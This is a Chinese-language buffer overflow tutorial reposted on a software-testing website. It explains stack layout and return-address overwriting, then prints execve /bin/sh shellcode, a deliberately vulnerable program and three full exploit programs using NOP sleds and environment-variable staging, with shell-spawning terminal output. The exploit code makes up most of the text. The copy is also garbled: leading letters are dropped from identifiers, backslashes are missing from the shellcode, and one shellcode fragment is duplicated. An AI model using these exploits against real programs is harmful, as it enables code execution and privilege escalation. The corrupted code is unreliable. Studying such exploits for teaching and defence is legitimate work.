• 软件测试技术
  • 软件测试博客
  • 软件测试视频
  • 开源软件测试技术
  • 软件测试论坛
  • 软件测试沙龙
  • 软件测试资料下载
  • 软件测试杂志
  • 软件测试人才招聘
    暂时没有公告

字号: | 推荐给好友 上一篇 | 下一篇

缓冲溢出的基本知识

发布: 2007-6-23 18:14 | 作者:   | 来源:   | 查看: 16次 | 进入软件测试论坛讨论

领测软件测试网

   

在这份指南中,我们将讨论什么是缓冲溢出和怎么样去使用它.你必须了解C语言和汇编语言,如果熟悉GDB的话更加好,当然这不是很必要的。

(Memory organization)存储器分为3个部分

1. 文本区域(程序区)

这个部分是用来存储程序指令的.所以,这个区域被标示为只读,任何写的操作都将导致错误.

2. 数据区域

这个部分存储静态变量,它的大小可以由brk()系统调用来改变.

3. 堆栈

堆栈有个特殊的属性,就是最新放置在它里面的,都将是第一个被移出堆栈的。在计算机科学里,这就是通常所指的后进先出(LIFO).堆栈是被设计用来供函数和过程使用的.一个过程在执行过程中改变程序的执行流程,这点和jump有点类似.但与jump不一样的是它在完成了他的指令后是返回调用点的,返回地址在过程被调用之前就被设置在堆栈中.

它也被用来动态分配函数中的变量,以及函数的参数和返回值.

返回地址和指令指针

计算机执行一条指令,并保留指向下一条指令的指针(IP).当函数或过程被调用的时候,先前在堆栈中被保留先来的指令指针将被作为返回地址(RET). 执行完成后,RET将会替换IP,程序接着继续执行本来的流程.

一个缓冲溢出

让我们用一个例子来说明以下缓冲溢出.

lt;++> buffer/example.c

void main(){

char big_string[100];

char small_string[50];

memset(big_string,0x41,100);

/* strcpy(char *to,char *from) */

trcpy(small_string,big_string);}

lt;--> end of example.c

这个程序用了两个数组, memset() 给数组big_strings加入字符0x41 (= A). 然后它将big_string加到small_string中.很明显,数组small_string不能容纳100个字符,因此,溢出产生.

接下来我们看看存储器中的变化情况:

[ big_string ] [ small_string ] [SFP] [RET]

在溢出中,SFP(Stack Frame Pointer)堆栈指针和 RET返回地址都将被A覆盖掉. 这就意味着RET要变为0x41414141(0x41是A十六进制的值). 当函数被返回的时候,指令指针(Instruction Pointer)将会被已经复写了的RET替换. 接着,计算机会试着去执行在0x41414141处的指令. 这将会导致段冲突,因为这个地址已经超出了处理范围.

发掘漏洞

现在我们知道我们可以通过覆盖RET来改变程序的正常流程,我们可以实验一下. 不是用A来覆盖,而是用一些特别的地址来达到我们的目的. 

任意代码的执行

现在我们需要一些东西来指向地址并执行. 在大多数情况下,我们需要产生一个shell,当然这不是唯一的方法.

Before:

FFFFF BBBBBBBBBBBBBBBBBBBBB EEEE RRRR FFFFFFFFFF

B = the buffer

E = stack frame pointer

R = return address

F = other data

After:

FFFFF SSSSSSSSSSSSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF

S = shellcode

A = address pointing to the shellcode

F = other data

用C来产生shell的代码如下:

lt;++> buffer/shell.c

void main(){

char *name[2];

ame[0] = "/bin/sh";

ame[1] = 0x0;

execve(name[0], name, 0x0);

exit(0);

}

lt;--> end of shellcode

这里我们就不打算去解释如何去写一个shellcode了,因为它需要很多汇编的知识.那将偏离我们讨论的题目。事实上有很多的shellcode可以被我们利用.对于那些想知道如何产生的人来说,可以根据以下的步骤来完成:

- 用 -static flag 开关来编译上面的程序

- 用GDB来打开上面的程序,然后用"disassemble main" 命令

- 去掉所有不必要的代码

- 用汇编来重写它

- 编译,然后再用GDB打开,用 "disassemble main" 命令

- 在指令地址使用 x/bx 命令,找回 hex-code.

或者你可以使用这些代码

char shellcode[]=

"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"

"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"

"x80xe8xdcxffxffxff/bin/sh";

"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"

"x80xe8xdcxffxffxff/bin/sh";

寻找地址

当我们尝试去溢出一个程序的缓冲区的时候, 这个程序要寻找这个缓冲区的地址. 这个问题的答案是:对每个程序来说,堆栈都是在同一个地址上开始的.因此,只要知道了这个堆栈的地址是在哪里的,我们就可以猜出这个缓冲区的地址了.

下面这个程序会告诉我们这个程序的的堆栈指针:

lt;++> buffer/getsp.c

unsigned long get_sp(void){

__asm__("movl %esp, %eax);

}

void main(){

fprintf(stdout,"0x%xn",get_sp());

}

lt;--> end of getsp.c

试一下下面这个例子

lt;++> buffer/hole.c

void main(int argc,char **argv[]){

char buffer[512];

if (argc > 1) /* otherwise we crash our little program */

trcpy(buffer,argv[1]);

}

lt;--> end of hole.c

lt;++> buffer/exploit1.c

#include <stdlib.h>

#define DEFAULT_OFFSET 0

#define DEFAULT_BUFFER_SIZE 512

char shellcode[] =

"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"

"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"

"x80xe8xdcxffxffxff/bin/sh";

unsigned long get_sp(void) {

__asm__("movl %esp,%eax");

}

void main(int argc, char *argv[])

{

char *buff, *ptr;

long *addr_ptr, addr;

int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;

int i;

if (argc > 1) bsize = atoi(argv[1]);

if (argc > 2) offset = atoi(argv[2]);

if (!(buff = malloc(bsize))) {

rintf("Can't allocate memory.n");

exit(0);

}

addr = get_sp() - offset;

rintf("Using address: 0x%xn", addr);

tr = buff;

addr_ptr = (long *) ptr;

for (i = 0; i < bsize; i+=4)

*(addr_ptr++) = addr;

tr += 4;

for (i = 0; i < strlen(shellcode); i++)

*(ptr++) = shellcode[i];

uff[bsize - 1] = '0';

memcpy(buff,"BUF=",4);

utenv(buff);

ystem("/bin/bash");

}

lt;--> end of exploit1.c

现在我们可以猜出offset (bufferaddress = stackpointer + offset).

[hosts]$ exploit1 600

Using address: 0xbffff6c3

[hosts]$ ./hole $BUF

[hosts]$ exploit1 600 100

Using address: 0xbffffce6

[hosts]$ ./hole $BUF

egmentation fault

etc.

etc.

就象你所知道的那样,这个过程几乎是不可能发生的, 这样,我们不得不去猜出更精确的溢出地址. 为了增加我们的机会, 我们可以在我们的缓冲溢出的shellcode前加上 NOP(空操作)指令. 因为我们没有必要去猜出它精确的溢出地址来. 而NOP指令用来延迟执行的.如果这个被覆写的返回地址指针在NOP串中,我们的代码就可以在下面一步执行了.

存储器的内容应该是这样的:

FFFFF NNNNNNNNNNNSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF

N = NOP

S = shellcode

A = address pointing to the shellcode

F = other data

我们把原先的代码改了一下.

lt;++> buffer/exploit2.c

#include <stdlib.h>

#define DEFAULT_OFFSET 0

#define DEFAULT_BUFFER_SIZE 512

#define NOP 0x90

char shellcode[] =

"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"

"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"

"x80xe8xdcxffxffxff/bin/sh";

unsigned long get_sp(void) {

__asm__("movl %esp,%eax");

}

void main(int argc, char *argv[])

{

char *buff, *ptr;

long *addr_ptr, addr;

int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;

int i;

if (argc > 1) bsize = atoi(argv[1]);

if (argc > 2) offset = atoi(argv[2]);

if (!(buff = malloc(bsize))) {

rintf("Can't allocate memory.n");

exit(0);

}

addr = get_sp() - offset;

rintf("Using address: 0x%xn", addr);

tr = buff;

addr_ptr = (long *) ptr;

for (i = 0; i < bsize; i+=4)

*(addr_ptr++) = addr;

for (i = 0; i < bsize/2; i++)

uff[i] = NOP;

tr = buff + ((bsize/2) - (strlen(shellcode)/2));

for (i = 0; i < strlen(shellcode); i++)

*(ptr++) = shellcode[i];

uff[bsize - 1] = '0';

memcpy(buff,"BUF=",4);

utenv(buff);

ystem("/bin/bash");

}

lt;--> end of exploit2.c

[hosts]$ exploit2 600

Using address: 0xbffff6c3

[hosts]$ ./hole $BUF

egmentation fault

[hosts]$ exploit2 600 100

Using address: 0xbffffce6

[hosts]$ ./hole $BUF

#exit

[hosts]$

为了更完善我们的代码, 我们把这些shellcode放到环境变量里去. 然后我们就可以用这个变量的地址来溢出缓冲器了. 这方法可以增加我们的机会.用setenv()函数来调用,并把shellcode送到环境变量中去.

lt;++> buffer/exploit3.c

#include <stdlib.h>

#define DEFAULT_OFFSET 0

#define DEFAULT_BUFFER_SIZE 512

#define DEFAULT_EGG_SIZE 2048

#define NOP 0x90

char shellcode[] =

"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"

"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"

"x80xe8xdcxffxffxff/bin/sh";

unsigned long get_esp(void) {

__asm__("movl %esp,%eax");

}

void main(int argc, char *argv[])

{

char *buff, *ptr, *egg;

long *addr_ptr, addr;

int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;

int i, eggsize=DEFAULT_EGG_SIZE;

if (argc > 1) bsize = atoi(argv[1]);

if (argc > 2) offset = atoi(argv[2]);

if (argc > 3) eggsize = atoi(argv[3]);

if (!(buff = malloc(bsize))) {

rintf("Can't allocate memory.n");

exit(0);

}

if (!(egg = malloc(eggsize))) {

rintf("Can't allocate memory.n");

exit(0);

}

addr = get_esp() - offset;

rintf("Using address: 0x%xn", addr);

tr = buff;

addr_ptr = (long *) ptr;

for (i = 0; i < bsize; i+=4)

*(addr_ptr++) = addr;

tr = egg;

for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)

*(ptr++) = NOP;

for (i = 0; i < strlen(shellcode); i++)

*(ptr++) = shellcode[i];

uff[bsize - 1] = '0';

egg[eggsize - 1] = '0';

memcpy(egg,"BUF=",4);

utenv(egg);

memcpy(buff,"RET=",4);

utenv(buff);

ystem("/bin/bash");

}

end of exploit3.c

[hosts]$ exploit2 600

Using address: 0xbffff5d7

[hosts]$ ./hole $RET

#exit

[hosts]$

寻找溢出

当然有能更准确找到缓冲溢出的方法, 那就是读它的源程序. 因为Linux是个开放的系统, 你很容易就可以得到它的源程序.

寻找没有边界校验的库函数调用,如:

trcpy(), strcat(), sprintf(), vsprintf(), scanf().

其他的具有危险的函数如:在"当型"循环中的getc()和getchar(). strncat函数的错误使用。

文章来源于领测软件测试网 https://www.ltesting.net/


关于领测软件测试网 | 领测软件测试网合作伙伴 | 广告服务 | 投稿指南 | 联系我们 | 网站地图 | 友情链接
版权所有(C) 2003-2010 TestAge(领测软件测试网)|领测国际科技(北京)有限公司|软件测试工程师培训网 All Rights Reserved
北京市海淀区中关村南大街9号北京理工科技大厦1402室 京ICP备2023014753号-2
技术支持和业务联系:info@testage.com.cn 电话:010-51297073

软件测试 | 领测国际ISTQBISTQB官网TMMiTMMi认证国际软件测试工程师认证领测软件测试网